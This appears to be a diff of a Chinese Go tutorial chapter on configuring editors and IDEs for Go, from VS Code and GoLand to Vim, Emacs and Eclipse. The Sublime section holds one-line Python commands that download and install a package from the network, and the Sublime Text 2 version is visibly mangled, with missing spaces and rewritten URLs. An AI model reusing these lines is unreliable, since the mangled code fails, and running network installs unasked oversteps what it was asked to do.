save。 - -vscode代码设置可用于Go扩展。这些都可以在用户的喜好来设置或工作区设置(.vscode/settings.json)。 - -打开首选项-用户设置settings.json: - -```Go - -{ - "go.buildOnSave": true, - "go.lintOnSave": true, - "go.vetOnSave": true, - "go.buildFlags": [], - "go.lintFlags": [], - "go.vetFlags": [], - "go.coverOnSave": false, - "go.useCodeSnippetsOnFunctionSuggest": false, - "go.formatOnSave": true, - //goimports - "go.formatTool": "goreturns", - "go.goroot": "",//你的Goroot - "go.gopath": "",//你的Gopath -} -``` - -接着安装依赖包支持(网络不稳定,请直接到Github[Golang](https://github.com/golang)下载再移动到相关目录): -```Go - go get -u -v github.com/nsf/gocode - go get -u -v github.com/rogpeppe/godef - go get -u -v github.com/zmb3/gogetdoc - go get -u -v github.com/golang/lint/golint - go get -u -v github.com/lukehoban/go-outline - go get -u -v sourcegraph.com/sqs/goreturns - go get -u -v golang.org/x/tools/cmd/gorename - go get -u -v github.com/tpng/gopkgs - go get -u -v github.com/newhook/go-symbols - go get -u -v golang.org/x/tools/cmd/guru - go get -u -v github.com/cweill/gotests/... -``` - -vscode还有一项很强大的功能就是断点调试,结合[delve](https://github.com/derekparker/delve)可以很好的进行Go代码调试 - -```Go - - go get -v -u github.com/peterh/liner github.com/derekparker/delve/cmd/dlv - - brew install go-delve/delve/delve(mac可选) - -``` -如果有问题再来一遍: -```Go - - go get -v -u github.com/peterh/liner github.com/derekparker/delve/cmd/dlv - -``` -注意:修改"dlv-cert"证书, 选择"显示简介"->"信任"->"代码签名" 修改为: 始终信任 - -打开首选项-工作区设置,配置launch.json: - -```Go -{ - "version": "0.2.0", - "configurations": [ - { - "name": "main.go", - "type": "go", - "request": "launch", - "mode": "debug", - "remotePath": "", - "port": 2345, - "host": "127.0.0.1", - "program": "${workspaceRoot}",//工作空间路径 - "env": {}, - "args": [], - "showLog": true - } - ] -} -``` - -## Atom - -Atom是Github基于Electron和web技术构建的开源编辑器, 是一款很漂亮强大的编辑器缺点是速度比较慢。 - -首先要先安装下Atom,下载地址: https://atom.io/ - -然后安装go-plus插件: - - go-plus是Atom上面的一款开源的go语言开发环境的的插件 - - 它需要依赖下面的go语言工具: -```Go - 1.autocomplete-go :gocode的代码自动提示 - 2.gofmt :使用goftm,goimports,goturns - 3.builder-go:go-install 和go-test,验证代码,给出建议 - 4.gometalinet-linter:goline,vet,gotype的检查 - 5.navigator-godef:godef - 6.tester-goo :go test - 7.gorename :rename - -``` -在Atom中的 Preference 中可以找到install菜单,输入 go-plus,然后点击安装(install) - -就会开始安装 go-plus , go-plus 插件会自动安装对应的依赖插件,如果没有安装对应的go的类库会自动运行: go get 安装。 - - -## Gogland - -Gogland是JetBrains公司推出的Go语言集成开发环境,是Idea Go插件是强化版。Gogland同样基于IntelliJ平台开发,支持JetBrains的插件体系。 - -目前正式版暂未发布。 - -下载地址:https://www.jetbrains.com/go/ - -## Vim -Vim是从vi发展出来的一个文本编辑器, 代码补全、编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用。 - -vim-go是vim上面的一款开源的go语言使用最为广泛开发环境的的插件 - -插件地址:[github.com/fatih/vim-go](https://github.com/fatih/vim-go) - -vim的插件管理主要有[Pathogen](https://github.com/tpope/vim-pathogen)与[Vundle](https://github.com/VundleVim/Vundle.vim) -,但是其作用的方面不同。 -pathogen是为了解决每一个插件安装后文件分散到多个目录不好管理而存在的。vundle是为了解决自动搜索及下载插件而存在的。 -这两个插件可同时使用。 - -1.安装Vundle - -```sh -mkdir ~/.vim/bundle -git clone https://github.com/gmarik/Vundle.vim.git ~/.vim/bundle/Vundle.vim -``` - -修改.vimrc,将Vundle的相关配置置在最开始处([详细参考Vundle的介绍文档](https://github.com/VundleVim/Vundle.vim)) - -```sh -set nocompatible " be iMproved, required -filetype off " required - -" set the runtime path to include Vundle and initialize -set rtp+=~/.vim/bundle/Vundle.vim -call vundle#begin() - -" let Vundle manage Vundle, required -Plugin 'gmarik/Vundle.vim' - -" All of your Plugins must be added before the following line -call vundle#end() " required -filetype plugin indent on " required - -``` -2.安装Vim-go - -修改~/.vimrc,在vundle#begin和vundle#end间增加一行: - -```sh - -Plugin 'fatih/vim-go' -``` - -在Vim内执行: PluginInstall - -3.安装YCM(Your Complete Me)进行自动补全 -在~/.vimrc中添加一行: -```sh - -Plugin 'Valloric/YouCompleteMe' -``` -在Vim内执行: PluginInstall - - -![](images/1.4.vim.png?raw=true) - -图1.9 VIM编辑器自动化提示Go界面 - -接着我们继续配置vim: - - 1. 配置vim高亮显示 - - cp -r $GOROOT/misc/vim/* ~/.vim/ - - 2. 在~/.vimrc文件中增加语法高亮显示 - - filetype plugin indent on - syntax on - - 3. 安装[Gocode](https://github.com/nsf/gocode/) - - go get -u github.com/nsf/gocode - - gocode默认安装到`$GOPATH/bin`下面。 - - 4. 配置[Gocode](https://github.com/nsf/gocode/) - - ~ cd $GOPATH/src/github.com/nsf/gocode/vim - ~ ./update.bash - ~ gocode set propose-builtins true - propose-builtins true - ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" - lib-path "/home/border/gocode/pkg/linux_amd64" - ~ gocode set - propose-builtins true - lib-path "/home/border/gocode/pkg/linux_amd64" - - >gocode set里面的两个参数的含意说明: - > - >propose-builtins:是否自动提示Go的内置函数、类型和常量,默认为false,不提示。 - > - >lib-path:默认情况下,gocode只会搜索**$GOPATH/pkg/$GOOS_$GOARCH** 和 **$GOROOT/pkg/$GOOS_$GOARCH**目录下的包,当然这个设置就是可以设置我们额外的lib能访问的路径 - - - 5. 恭喜你,安装完成,你现在可以使用`:e main.go`体验一下开发Go的乐趣。 - -更多VIM 设定, 可参考[链接](http://www.cnblogs.com/witcxc/archive/2011/12/28/2304704.html) - -## Emacs -Emacs传说中的神器,她不仅仅是一个编辑器,它是一个整合环境,或可称它为集成开发环境,这些功能如让使用者置身于全功能的操作系统中。 - - ![](images/1.4.emacs.png?raw=true) - -图1.10 Emacs编辑Go主界面 - -1. 配置Emacs高亮显示 - - cp $GOROOT/misc/emacs/* ~/.emacs.d/ - -2. 安装[Gocode](https://github.com/nsf/gocode/) - - go get -u github.com/nsf/gocode - - gocode默认安装到`$GOBIN`里面下面。 - -3. 配置[Gocode](https://github.com/nsf/gocode/) - - - ~ cd $GOPATH/src/github.com/nsf/gocode/emacs - ~ cp go-autocomplete.el ~/.emacs.d/ - ~ gocode set propose-builtins true - propose-builtins true - ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" // 换为你自己的路径 - lib-path "/home/border/gocode/pkg/linux_amd64" - ~ gocode set - propose-builtins true - lib-path "/home/border/gocode/pkg/linux_amd64" - -4. 需要安装 [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete) - - 下载AutoComplete并解压 - - ~ make install DIR=$HOME/.emacs.d/auto-complete - - 配置~/.emacs文件 - - ;;auto-complete - (require 'auto-complete-config) - (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict") - (ac-config-default) - (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) - (local-set-key "." 'semantic-complete-self-insert) - (local-set-key ">" 'semantic-complete-self-insert) - - 详细信息参考: http://www.emacswiki.org/emacs/AutoComplete - -5. 配置.emacs - - ;; golang mode - (require 'go-mode-load) - (require 'go-autocomplete) - ;; speedbar - ;; (speedbar 1) - (speedbar-add-supported-extension ".go") - (add-hook - 'go-mode-hook - '(lambda () - ;; gocode - (auto-complete-mode 1) - (setq ac-sources '(ac-source-go)) - ;; Imenu & Speedbar - (setq imenu-generic-expression - '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1) - ("func" "^func *\\(.*\\) {" 1))) - (imenu-add-to-menubar "Index") - ;; Outline mode - (make-local-variable 'outline-regexp) - (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....") - (outline-minor-mode 1) - (local-set-key "\M-a" 'outline-previous-visible-heading) - (local-set-key "\M-e" 'outline-next-visible-heading) - ;; Menu bar - (require 'easymenu) - (defconst go-hooked-menu - '("Go tools" - ["Go run buffer" go t] - ["Go reformat buffer" go-fmt-buffer t] - ["Go check buffer" go-fix-buffer t])) - (easy-menu-define - go-added-menu - (current-local-map) - "Go tools" - go-hooked-menu) - - ;; Other - (setq show-trailing-whitespace t) - )) - ;; helper function - (defun go () - "run current buffer" - (interactive) - (compile (concat "go run " (buffer-file-name)))) - - ;; helper function - (defun go-fmt-buffer () - "run gofmt on current buffer" - (interactive) - (if buffer-read-only - (progn - (ding) - (message "Buffer is read only")) - (let ((p (line-number-at-pos)) - (filename (buffer-file-name)) - (old-max-mini-window-height max-mini-window-height)) - (show-all) - (if (get-buffer "*Go Reformat Errors*") - (progn - (delete-windows-on "*Go Reformat Errors*") - (kill-buffer "*Go Reformat Errors*"))) - (setq max-mini-window-height 1) - (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t)) - (progn - (erase-buffer) - (insert-buffer-substring "*Go Reformat Output*") - (goto-char (point-min)) - (forward-line (1- p))) - (with-current-buffer "*Go Reformat Errors*" - (progn - (goto-char (point-min)) - (while (re-search-forward "" nil t) - (replace-match filename)) - (goto-char (point-min)) - (compilation-mode)))) - (setq max-mini-window-height old-max-mini-window-height) - (delete-windows-on "*Go Reformat Output*") - (kill-buffer "*Go Reformat Output*")))) - ;; helper function - (defun go-fix-buffer () - "run gofix on current buffer" - (interactive) - (show-all) - (shell-command-on-region (point-min) (point-max) "go tool fix -diff")) - -6. 恭喜你,你现在可以体验在神器中开发Go的乐趣。默认speedbar是关闭的,如果打开需要把 ;; (speedbar 1) 前面的注释去掉,或者也可以通过 *M-x speedbar* 手动开启。 - -## Eclipse -Eclipse也是非常常用的开发利器,以下介绍如何使用Eclipse来编写Go程序。 - - ![](images/1.4.eclipse1.png?raw=true) - -图1.11 Eclipse编辑Go的主界面 - -1. 首先下载并安装好[Eclipse](http://www.eclipse.org/) - -2. 下载[goclipse](https://code.google.com/p/goclipse/)插件 - - http://code.google.com/p/goclipse/wiki/InstallationInstructions - -3. 下载gocode,用于go的代码补全提示 - - gocode的github地址: - - https://github.com/nsf/gocode - - 在windows下要安装git,通常用[msysgit](https://code.google.com/p/msysgit/) - - 再在cmd下安装: - - go get -u github.com/nsf/gocode - - 也可以下载代码,直接用go build来编译,会生成gocode.exe - -4. 下载[MinGW](http://sourceforge.net/projects/mingw/files/MinGW/)并按要求装好 - -5. 配置插件 - - Windows->Reference->Go - - (1).配置Go的编译器 - - ![](images/1.4.eclipse2.png?raw=true) - - 图1.12 设置Go的一些基础信息 - - - (2).配置Gocode(可选,代码补全),设置Gocode路径为之前生成的gocode.exe文件 - - ![](images/1.4.eclipse3.png?raw=true) - - 图1.13 设置gocode信息 - - (3).配置GDB(可选,做调试用),设置GDB路径为MingW安装目录下的gdb.exe文件 - - ![](images/1.4.eclipse4.png?raw=true) - - 图1.14 设置GDB信息 - -6. 测试是否成功 - - 新建一个go工程,再建立一个hello.go。如下图: - - ![](images/1.4.eclipse5.png?raw=true) - - 图1.15 新建项目编辑文件 - - 调试如下(要在console中用输入命令来调试): - - ![](images/1.4.eclipse6.png?raw=true) - - 图1.16 调试Go程序 - -## IntelliJ IDEA -熟悉Java的读者应该对于idea不陌生,idea是通过一个插件来支持go语言的高亮语法,代码提示和重构实现。 - -1. 先下载idea,idea支持多平台:win,mac,linux,如果有钱就买个正式版,如果不行就使用社区免费版,对于只是开发Go语言来说免费版足够用了 - - ![](images/1.4.idea1.png?raw=true) - -2. 安装Go插件,点击菜单File中的Setting,找到Plugins,点击,Broswer repo按钮。国内的用户可能会报错,自己解决哈。 - - ![](images/1.4.idea3.png?raw=true) - -3. 这时候会看见很多插件,搜索找到Golang,双击,download and install。等到golang那一行后面出现Downloaded标志后,点OK。 - - ![](images/1.4.idea4.png?raw=true) - - 然后点 Apply .这时候IDE会要求你重启。 - -4. 重启完毕后,创建新项目会发现已经可以创建golang项目了: - - ![](images/1.4.idea5.png?raw=true) - - 下一步,会要求你输入 go sdk的位置,一般都安装在C:\Go,linux和mac根据自己的安装目录设置,选中目录确定,就可以了。 - -## links - * [目录]() - * 上一节: [Go 命令](<01.3.md>) - * 下一节: [总结](<01.5.md>) +# 1.4 Go开发工具 + +本节我将介绍几个开发工具,它们都具有自动化补全,自动化 fmt 和检查等功能。因为它们都是跨平台的,所以安装步骤之类的都是通用的。 + +## Visual Studio Code + +Vscode 是微软基于 Electron 和 Web 技术构建的开源编辑器, 是一款非常强大的编辑器。 +而且目前 vscode-go 已升级为 Go 官方维护的工具, 也是当前免费开源的首选开发工具. + +开源地址: https://github.com/Microsoft/vscode + +1、安装Visual Studio Code 最新版 + +官方网站:https://code.visualstudio.com +下载 Visual Studio Code 最新版,安装过程略。 + +2、安装 Go 插件 + +点击右边的 Extensions/扩展 图标 +搜索 `Go` 插件 +在插件列表中,选择 Go,进行安装,安装之后,系统会提示重启 Visual Studio Code。 + +写一个 Hello World ,然后运行: + +hello.go +```Go +package main + +import "fmt" + +func main() { + fmt.Printf("Hello word") +} +``` + +保存的时候, vscode 右下角会提示,需要安装依赖包, 点击 Install All ( 建议提前设好代理, 参考 Go Module 章节 ) +另外建议使用 golint 或者 golangci-lint 等工具, 可以写出更优雅的代码; 也可以把自动保存功能开启, 开启方法为:选择菜单 File,点击 Auto save。 + +VSCode 代码设置可用于 Go 扩展。这些都可以在用户的喜好来设置或工作区设置(.vscode/settings.json)。 + +VSCode 还有一些高级配置, 打开首选项-用户设置, 一般可以通过图形界面设置 +也可以通过 settings.json 进行更多高级配置: + +```Go + "go.buildOnSave": "package", // 'workspace', 'package', or 'off'. + "go.lintOnSave": "workspace", // 'workspace', 'package', or 'off'. + "go.vetOnSave": "workspace", // 'workspace', 'package', or 'off'. + "go.buildFlags": [], + "go.lintFlags": [], + "go.vetFlags": [], + "go.coverOnSave": false, + "go.useCodeSnippetsOnFunctionSuggest": false, + "go.formatOnSave": true, + // + "go.formatTool": "goimports", // goreturns + "go.lintTool": "golangci-lint", + "go.useLanguageServer": true, + // + "go.goroot": "", // 你的 Goroot, 可选配置 + "go.gopath": "", // 你的 Gopath, go1.12 之后改用 go-mod, 可选配置 +``` + +vscode 还有一项很强大的功能就是断点调试,结合 [delve](https://github.com/derekparker/delve) 可以很好的进行 Go 代码调试 + +```Go + +go get -v -u github.com/peterh/liner github.com/derekparker/delve/cmd/dlv + +brew install go-delve/delve/delve (mac可选) + +``` + +如果有问题再来一遍: +```Go +go get -v -u github.com/peterh/liner github.com/derekparker/delve/cmd/dlv +``` + +注意:修改"dlv-cert"证书, 选择"显示简介"->"信任"->"代码签名" 修改为: 始终信任 + +打开首选项-工作区设置,配置launch.json: + +```Go +{ + "version": "0.2.0", + "configurations": [ + { + "name": "main.go", + "type": "go", + "request": "launch", + "mode": "debug", + "remotePath": "", + "port": 2345, + "host": "127.0.0.1", + "program": "${workspaceRoot}", // 工作空间路径 + "env": {}, + "args": [], + "showLog": true + } + ] +} +``` + +## GoLand + +GoLand 是 JetBrains 公司推出的 Go 语言集成开发环境,是 Idea Go 插件的强化版。GoLand 同样基于 IntelliJ 平台开发,支持 JetBrains 的插件体系。 +经过几年不断迭代更新, GoLand 目前已经是 Go 开发工具中最成熟的 IDE 之一, 而且配置相当简单. + +下载地址: https://www.jetbrains.com/go/ + + +## Sublime Text + + 这里将介绍Sublime Text 3(以下简称Sublime)+ GoSublime + gocode的组合,那么为什么选择这个组合呢? + + - 自动化提示代码,如下图所示 + + ![](images/1.4.sublime1.png?raw=true) + + 图1.5 sublime自动化提示界面 + + - 保存的时候自动格式化代码,让您编写的代码更加美观,符合Go的标准。 + - 支持项目管理 + + ![](images/1.4.sublime2.png?raw=true) + + 图1.6 sublime项目管理界面 + + - 支持语法高亮 + - Sublime Text 3可免费使用,只是保存次数达到一定数量之后就会提示是否购买,点击取消继续用,和正式注册版本没有任何区别。 + + +接下来就开始讲如何安装,下载 [Sublime](http://www.sublimetext.com/) + + 根据自己相应的系统下载相应的版本,然后打开Sublime,对于不熟悉Sublime的同学可以先看一下这篇文章[Sublime Text 全程指南](http://blog.jobbole.com/88648/)或者[sublime text3入门教程](http://blog.csdn.net/sam976/article/details/52076271) + + 1. 打开之后安装 Package Control:Ctrl+` 打开命令行,执行如下代码: + + 适用于 Sublime Text 3: + +```Go +import urllib.request,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();urllib.request.install_opener(urllib.request.build_opener(urllib.request.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib.request.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()) +``` + 适用于 Sublime Text 2: + +```Go +import urllib2,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnotos.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read());print('Please restart Sublime Text to finish installation') +``` + + 这个时候重启一下Sublime,可以发现在在菜单栏多了一个如下的栏目,说明Package Control已经安装成功了。 + + ![](images/1.4.sublime3.png?raw=true) + + 图1.7 sublime包管理 + + + 2. 安装完之后就可以安装Sublime的插件了。需安装GoSublime、SidebarEnhancements和Go Build,安装插件之后记得重启Sublime生效,Ctrl+Shift+p打开Package Controll 输入`pcip`(即“Package Control: Install Package”的缩写)。 + + 这个时候看左下角显示正在读取包数据,完成之后出现如下界面 + + ![](images/1.4.sublime4.png?raw=true) + + 图1.8 sublime安装插件界面 + + 这个时候输入GoSublime,按确定就开始安装了。同理应用于SidebarEnhancements和Go Build。 + + 3. 安装 [gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode 将会安装在默认`$GOBIN` + + 另外建议安装gotests(生成测试代码): + + + 先在sublime安装gotests插件,再运行: + + +```Go +go get -u -v github.com/cweill/gotests/... +``` + + 3. 验证是否安装成功,你可以打开Sublime,打开main.go,看看语法是不是高亮了,输入`import`是不是自动化提示了,`import "fmt"`之后,输入`fmt.`是不是自动化提示有函数了。 + + 如果已经出现这个提示,那说明你已经安装完成了,并且完成了自动提示。 + + 如果没有出现这样的提示,一般就是你的`$PATH`没有配置正确。你可以打开终端,输入gocode,是不是能够正确运行,如果不行就说明`$PATH`没有配置正确。 + (针对XP)有时候在终端能运行成功,但sublime无提示或者编译解码错误,请安装sublime text3和convert utf8插件试一试 + + 4. MacOS下已经设置了$GOROOT, $GOPATH, $GOBIN,还是没有自动提示怎么办。 + + 请在sublime中使用command + 9, 然后输入env检查$PATH, GOROOT, $GOPATH, $GOBIN等变量, 如果没有请采用下面的方法。 + + 首先建立下面的连接, 然后从Terminal中直接启动sublime + + ln -s /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl /usr/local/bin/sublime + + +## LiteIDE + + LiteIDE是一款专门为Go语言开发的跨平台轻量级集成开发环境(IDE),由visualfc编写。 + + ![](images/1.4.liteide.png?raw=true) + +图1.4 LiteIDE主界面 + +**LiteIDE主要特点:** + +* 支持主流操作系统 + * Windows + * Linux + * MacOS X +* Go编译环境管理和切换 + * 管理和切换多个Go编译环境 + * 支持Go语言交叉编译 +* 与Go标准一致的项目管理方式 + * 基于GOPATH的包浏览器 + * 基于GOPATH的编译系统 + * 基于GOPATH的Api文档检索 +* Go语言的编辑支持 + * 类浏览器和大纲显示 + * Gocode(代码自动完成工具)的完美支持 + * Go语言文档查看和Api快速检索 + * 代码表达式信息显示`F1` + * 源代码定义跳转支持`F2` + * Gdb断点和调试支持 + * gofmt自动格式化支持 +* 其他特征 + * 支持多国语言界面显示 + * 完全插件体系结构 + * 支持编辑器配色方案 + * 基于Kate的语法显示支持 + * 基于全文的单词自动完成 + * 支持键盘快捷键绑定方案 + * Markdown文档编辑支持 + * 实时预览和同步显示 + * 自定义CSS显示 + * 可导出HTML和PDF文档 + * 批量转换/合并为HTML/PDF文档 + +**LiteIDE安装配置** + +* LiteIDE安装 + * 下载地址 + * 源码地址 + + 首先安装好Go语言环境,然后根据操作系统下载LiteIDE对应的压缩文件直接解压即可使用。 + +* 编译环境设置 + + 根据自身系统要求切换和配置LiteIDE当前使用的环境变量。 + + 以Windows操作系统,64位Go语言为例, + 工具栏的环境配置中选择win64,点`编辑环境`,进入LiteIDE编辑win64.env文件 + + GOROOT=c:\go + GOBIN= + GOARCH=amd64 + GOOS=windows + CGO_ENABLED=1 + + PATH=%GOBIN%;%GOROOT%\bin;%PATH% + 。。。 + + 将其中的`GOROOT=c:\go`修改为当前Go安装路径,存盘即可,如果有MinGW64,可以将`c:\MinGW64\bin`加入PATH中以便go调用gcc支持CGO编译。 + + 以Linux操作系统,64位Go语言为例, + 工具栏的环境配置中选择linux64,点`编辑环境`,进入LiteIDE编辑linux64.env文件 + + GOROOT=$HOME/go + GOBIN= + GOARCH=amd64 + GOOS=linux + CGO_ENABLED=1 + + PATH=$GOBIN:$GOROOT/bin:$PATH + 。。。 + + 将其中的`GOROOT=$HOME/go`修改为当前Go安装路径,存盘即可。 + +* GOPATH设置 + + Go语言的工具链使用GOPATH设置,是Go语言开发的项目路径列表,在命令行中输入(在LiteIDE中也可以`Ctrl+,`直接输入)`go help gopath`快速查看GOPATH文档。 + + 在LiteIDE中可以方便的查看和设置GOPATH。通过`菜单-查看-GOPATH`设置,可以查看系统中已存在的GOPATH列表, + 同时可根据需要添加项目目录到自定义GOPATH列表中。 + + +## Atom + +Atom 是 GitHub 基于 Electron 和 Web 技术构建的开源编辑器, 是一款很漂亮强大的编辑器, 缺点是速度比较慢。 + +首先要先安装下 Atom,下载地址: https://atom.io/ + +然后安装 go-plus 插件: + + go-plus 是 Atom 上面的一款开源的 go 语言开发环境的的插件 + +它需要依赖下面的go语言工具: +```Go +1.autocomplete-go :gocode的代码自动提示 +2.gofmt :使用goftm,goimports,goturns +3.builder-go:go-install 和go-test,验证代码,给出建议 +4.gometalinet-linter:goline,vet,gotype的检查 +5.navigator-godef:godef +6.tester-goo :go test +7.gorename :rename + +``` +在Atom中的 Preference 中可以找到install菜单,输入 go-plus,然后点击安装(install) + +就会开始安装 go-plus , go-plus 插件会自动安装对应的依赖插件,如果没有安装对应的go的类库会自动运行: go get 安装。 + + +## Vim + +Vim是从vi发展出来的一个文本编辑器, 代码补全、编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用。 + +vim-go是vim上面的一款开源的go语言使用最为广泛开发环境的的插件 + +插件地址:[github.com/fatih/vim-go](https://github.com/fatih/vim-go) + +vim的插件管理主要有[Pathogen](https://github.com/tpope/vim-pathogen)与[Vundle](https://github.com/VundleVim/Vundle.vim) +,但是其作用的方面不同。 +pathogen是为了解决每一个插件安装后文件分散到多个目录不好管理而存在的。vundle是为了解决自动搜索及下载插件而存在的。 +这两个插件可同时使用。 + +1.安装 Vundle + +```sh +mkdir ~/.vim/bundle +git clone https://github.com/gmarik/Vundle.vim.git ~/.vim/bundle/Vundle.vim +``` + +修改.vimrc,将Vundle的相关配置置在最开始处([详细参考Vundle的介绍文档](https://github.com/VundleVim/Vundle.vim)) + +```sh +set nocompatible " be iMproved, required +filetype off " required + +" set the runtime path to include Vundle and initialize +set rtp+=~/.vim/bundle/Vundle.vim +call vundle#begin() + +" let Vundle manage Vundle, required +Plugin 'gmarik/Vundle.vim' + +" All of your Plugins must be added before the following line +call vundle#end() " required +filetype plugin indent on " required + +``` +2.安装Vim-go + +修改~/.vimrc,在vundle#begin和vundle#end间增加一行: + +```sh + +Plugin 'fatih/vim-go' +``` + +在Vim内执行: PluginInstall + +3.安装YCM(Your Complete Me)进行自动补全 +在~/.vimrc中添加一行: +```sh + +Plugin 'Valloric/YouCompleteMe' +``` +在Vim内执行: PluginInstall + + +![](images/1.4.vim.png?raw=true) + +图1.9 VIM编辑器自动化提示Go界面 + +接着我们继续配置vim: + + 1. 配置vim高亮显示 + + cp -r $GOROOT/misc/vim/* ~/.vim/ + + 2. 在~/.vimrc文件中增加语法高亮显示 + + filetype plugin indent on + syntax on + + 3. 安装[Gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode默认安装到`$GOPATH/bin`下面。 + + 4. 配置[Gocode](https://github.com/nsf/gocode/) + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.bash + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + + >gocode set里面的两个参数的含意说明: + > + >propose-builtins:是否自动提示Go的内置函数、类型和常量,默认为false,不提示。 + > + >lib-path:默认情况下,gocode只会搜索**$GOPATH/pkg/$GOOS_$GOARCH** 和 **$GOROOT/pkg/$GOOS_$GOARCH**目录下的包,当然这个设置就是可以设置我们额外的lib能访问的路径 + + + 5. 恭喜你,安装完成,你现在可以使用`:e main.go`体验一下开发Go的乐趣。 + +更多VIM 设定, 可参考[链接](http://www.cnblogs.com/witcxc/archive/2011/12/28/2304704.html) + +## Emacs + +Emacs传说中的神器,她不仅仅是一个编辑器,它是一个整合环境,或可称它为集成开发环境,这些功能如让使用者置身于全功能的操作系统中。 + + ![](images/1.4.emacs.png?raw=true) + +图1.10 Emacs编辑Go主界面 + +1. 配置Emacs高亮显示 + + cp $GOROOT/misc/emacs/* ~/.emacs.d/ + +2. 安装[Gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode默认安装到`$GOBIN`里面下面。 + +3. 配置[Gocode](https://github.com/nsf/gocode/) + + + ~ cd $GOPATH/src/github.com/nsf/gocode/emacs + ~ cp go-autocomplete.el ~/.emacs.d/ + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" // 换为你自己的路径 + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + +4. 需要安装 [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete) + + 下载AutoComplete并解压 + + ~ make install DIR=$HOME/.emacs.d/auto-complete + + 配置~/.emacs文件 + + ;;auto-complete + (require 'auto-complete-config) + (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict") + (ac-config-default) + (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) + (local-set-key "." 'semantic-complete-self-insert) + (local-set-key ">" 'semantic-complete-self-insert) + + 详细信息参考: http://www.emacswiki.org/emacs/AutoComplete + +5. 配置.emacs + + ;; golang mode + (require 'go-mode-load) + (require 'go-autocomplete) + ;; speedbar + ;; (speedbar 1) + (speedbar-add-supported-extension ".go") + (add-hook + 'go-mode-hook + '(lambda () + ;; gocode + (auto-complete-mode 1) + (setq ac-sources '(ac-source-go)) + ;; Imenu & Speedbar + (setq imenu-generic-expression + '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1) + ("func" "^func *\\(.*\\) {" 1))) + (imenu-add-to-menubar "Index") + ;; Outline mode + (make-local-variable 'outline-regexp) + (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....") + (outline-minor-mode 1) + (local-set-key "\M-a" 'outline-previous-visible-heading) + (local-set-key "\M-e" 'outline-next-visible-heading) + ;; Menu bar + (require 'easymenu) + (defconst go-hooked-menu + '("Go tools" + ["Go run buffer" go t] + ["Go reformat buffer" go-fmt-buffer t] + ["Go check buffer" go-fix-buffer t])) + (easy-menu-define + go-added-menu + (current-local-map) + "Go tools" + go-hooked-menu) + + ;; Other + (setq show-trailing-whitespace t) + )) + ;; helper function + (defun go () + "run current buffer" + (interactive) + (compile (concat "go run " (buffer-file-name)))) + + ;; helper function + (defun go-fmt-buffer () + "run gofmt on current buffer" + (interactive) + (if buffer-read-only + (progn + (ding) + (message "Buffer is read only")) + (let ((p (line-number-at-pos)) + (filename (buffer-file-name)) + (old-max-mini-window-height max-mini-window-height)) + (show-all) + (if (get-buffer "*Go Reformat Errors*") + (progn + (delete-windows-on "*Go Reformat Errors*") + (kill-buffer "*Go Reformat Errors*"))) + (setq max-mini-window-height 1) + (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t)) + (progn + (erase-buffer) + (insert-buffer-substring "*Go Reformat Output*") + (goto-char (point-min)) + (forward-line (1- p))) + (with-current-buffer "*Go Reformat Errors*" + (progn + (goto-char (point-min)) + (while (re-search-forward "" nil t) + (replace-match filename)) + (goto-char (point-min)) + (compilation-mode)))) + (setq max-mini-window-height old-max-mini-window-height) + (delete-windows-on "*Go Reformat Output*") + (kill-buffer "*Go Reformat Output*")))) + ;; helper function + (defun go-fix-buffer () + "run gofix on current buffer" + (interactive) + (show-all) + (shell-command-on-region (point-min) (point-max) "go tool fix -diff")) + +6. 恭喜你,你现在可以体验在神器中开发Go的乐趣。默认speedbar是关闭的,如果打开需要把 ;; (speedbar 1) 前面的注释去掉,或者也可以通过 *M-x speedbar* 手动开启。 + +## Eclipse + +Eclipse也是非常常用的开发利器,以下介绍如何使用Eclipse来编写Go程序。 + + ![](images/1.4.eclipse1.png?raw=true) + +图1.11 Eclipse编辑Go的主界面 + +1. 首先下载并安装好[Eclipse](http://www.eclipse.org/) + +2. 下载[goclipse](https://code.google.com/p/goclipse/)插件 + + http://code.google.com/p/goclipse/wiki/InstallationInstructions + +3. 下载gocode,用于go的代码补全提示 + + gocode的GitHub地址: + + https://github.com/nsf/gocode + + 